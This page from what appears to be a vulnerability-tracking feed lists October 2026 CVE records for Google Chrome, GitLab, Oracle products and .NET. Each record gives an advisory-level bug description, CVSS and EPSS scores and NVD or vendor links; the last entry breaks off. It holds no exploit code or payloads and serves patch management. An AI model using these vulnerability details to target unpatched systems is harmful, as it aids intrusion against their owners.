Improper input validation in PrintPreview in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113089).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113089&date=2026-10-25).
Sources:
NVD CVE-2026-113089: https://nvd.nist.gov/vuln/detail/CVE-2026-113089
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113089&date=2026-10-25
Improper input validation in PrintPreview in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113084
Improper input validation in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted... (Oct 20, 2026).
Improper input validation in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113084).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113084&date=2026-10-25).
Sources:
NVD CVE-2026-113084: https://nvd.nist.gov/vuln/detail/CVE-2026-113084
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113084&date=2026-10-25
Improper input validation in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113078
Improper input validation in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted... (Oct 20, 2026).
Improper input validation in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113078).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113078&date=2026-10-25).
Sources:
NVD CVE-2026-113078: https://nvd.nist.gov/vuln/detail/CVE-2026-113078
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113078&date=2026-10-25
Improper input validation in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113072
Memory corruption in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113072).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113072&date=2026-10-25).
Sources:
NVD CVE-2026-113072: https://nvd.nist.gov/vuln/detail/CVE-2026-113072
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113072&date=2026-10-25
Memory corruption in CSS in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113056
Memory corruption in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML... (Oct 20, 2026).
Memory corruption in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113056).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113056&date=2026-10-25).
Sources:
NVD CVE-2026-113056: https://nvd.nist.gov/vuln/detail/CVE-2026-113056
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113056&date=2026-10-25
Memory corruption in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113023
Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted... (Oct 20, 2026).
Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113023).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113023&date=2026-10-25).
Sources:
NVD CVE-2026-113023: https://nvd.nist.gov/vuln/detail/CVE-2026-113023
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113023&date=2026-10-25
Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113019
Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113019).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113019&date=2026-10-25).
Sources:
NVD CVE-2026-113019: https://nvd.nist.gov/vuln/detail/CVE-2026-113019
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113019&date=2026-10-25
Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in IME in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113018
Memory corruption in IME in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in IME in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113018).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113018&date=2026-10-25).
Sources:
NVD CVE-2026-113018: https://nvd.nist.gov/vuln/detail/CVE-2026-113018
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113018&date=2026-10-25
Memory corruption in IME in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113014
Use after free in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML... (Oct 20, 2026).
Use after free in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113014).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113014&date=2026-10-25).
Sources:
NVD CVE-2026-113014: https://nvd.nist.gov/vuln/detail/CVE-2026-113014
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113014&date=2026-10-25
Use after free in PerformanceAPIs in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in WindowControlsOverlay in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113009
Use after free in WindowControlsOverlay in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in WindowControlsOverlay in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113009).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113009&date=2026-10-25).
Sources:
NVD CVE-2026-113009: https://nvd.nist.gov/vuln/detail/CVE-2026-113009
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113009&date=2026-10-25
Use after free in WindowControlsOverlay in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113007
Memory corruption in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML... (Oct 20, 2026).
Memory corruption in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113007).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113007&date=2026-10-25).
Sources:
NVD CVE-2026-113007: https://nvd.nist.gov/vuln/detail/CVE-2026-113007
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113007&date=2026-10-25
Memory corruption in Permissions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-112992
Memory corruption in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 9.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112992).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112992&date=2026-10-25).
Sources:
NVD CVE-2026-112992: https://nvd.nist.gov/vuln/detail/CVE-2026-112992
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112992&date=2026-10-25
Memory corruption in Canvas in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue has been discovered in GitLab CE/EE affecting all versions from 7.0 before 18.11.13, 19.0 before 19.0.10, 19.1 before 19.1.9, 19.2 before 19.2.9, 19.3 before 19.3.6, 19.4...
https://kevwire.com/record/CVE-2026-110264
An issue has been discovered in GitLab CE/EE affecting all versions from 7.0 before 18.11.13, 19.0 before 19.0.10, 19.1 before 19.1.9, 19.2 before 19.2.9, 19.3 before 19.3.6, 19.4... (Oct 22, 2026).
An issue has been discovered in GitLab CE/EE affecting all versions from 7.0 before 18.11.13, 19.0 before 19.0.10, 19.1 before 19.1.9, 19.2 before 19.2.9, 19.3 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, under certain conditions, could have allowed an unauthenticated user to execute arbitrary code on the GitLab server due to integer overflow when compiling a specially crafted regular expression.
CVSS 10.0 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110264).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110264&date=2026-10-25).
Sources:
NVD CVE-2026-110264: https://nvd.nist.gov/vuln/detail/CVE-2026-110264
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110264&date=2026-10-25
An issue has been discovered in GitLab CE/EE affecting all versions from 7.0 before 18.11.13, 19.0 before 19.0.10, 19.1 before 19.1.9, 19.2 before 19.2.9, 19.3 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, under certain conditions, could have allowed an unauthenticated user to execute arbitrary code on the GitLab server due to integer overflow when compiling a specially crafted regular expression.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-microprofile-security).
https://kevwire.com/record/CVE-2026-101590
Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-microprofile-security). (Oct 20, 2026).
Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-microprofile-security).  Supported versions that are affected are 4.0.0-4.5.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Helidon accessible data as well as  unauthorized access to critical data or complete access to all Helidon accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 9.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101590).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101590&date=2026-10-25).
Sources:
NVD CVE-2026-101590: https://nvd.nist.gov/vuln/detail/CVE-2026-101590
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101590&date=2026-10-25
Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-microprofile-security).  Supported versions that are affected are 4.0.0-4.5.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Helidon accessible data as well as  unauthorized access to critical data or complete access to all Helidon accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle APEX (component: General).
https://kevwire.com/record/CVE-2026-101521
Vulnerability in Oracle APEX (component: General). (Oct 20, 2026).
Vulnerability in Oracle APEX (component: General).  Supported versions that are affected are 24.1.0-24.1.21, 24.2.0-24.2.20 and  26.1.0-26.1.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle APEX.  Successful attacks of this vulnerability can result in takeover of Oracle APEX. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101521).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101521&date=2026-10-25).
Sources:
NVD CVE-2026-101521: https://nvd.nist.gov/vuln/detail/CVE-2026-101521
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101521&date=2026-10-25
Vulnerability in Oracle APEX (component: General).  Supported versions that are affected are 24.1.0-24.1.21, 24.2.0-24.2.20 and  26.1.0-26.1.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle APEX.  Successful attacks of this vulnerability can result in takeover of Oracle APEX. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Secure Backup (component: Backup and Restore).
https://kevwire.com/record/CVE-2026-101484
Vulnerability in Oracle Secure Backup (component: Backup and Restore). (Oct 20, 2026).
Vulnerability in Oracle Secure Backup (component: Backup and Restore).  Supported versions that are affected are 19.1.0.0.0 and   19.1.0.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Secure Backup.  Successful attacks of this vulnerability can result in takeover of Oracle Secure Backup. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101484).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101484&date=2026-10-25).
Sources:
NVD CVE-2026-101484: https://nvd.nist.gov/vuln/detail/CVE-2026-101484
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101484&date=2026-10-25
Vulnerability in Oracle Secure Backup (component: Backup and Restore).  Supported versions that are affected are 19.1.0.0.0 and   19.1.0.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Secure Backup.  Successful attacks of this vulnerability can result in takeover of Oracle Secure Backup. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Asymmetric resource consumption (amplification) in .NET allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-96960
Asymmetric resource consumption (amplification) in .NET allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Asymmetric resource consumption (amplification) in .NET allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96960).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96960&date=2026-10-25).
Sources:
NVD CVE-2026-96960: https://nvd.nist.gov/vuln/detail/CVE-2026-96960
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96960
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96960&date=2026-10-25
Asymmetric resource consumption (amplification) in .NET allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of resources without limits or throttling in .NET allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-96959
Allocation of resources without limits or throttling in .NET allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Allocation of resources without limits or throttling in .NET allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96959).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96959&date=2026-10-25).
Sources:
NVD CVE-2026-96959: https://nvd.nist.gov/vuln/detail/CVE-2026-96959
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96959
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96959&date=2026-10-25
Allocation of resources without limits or throttling in .NET allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-96958
Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
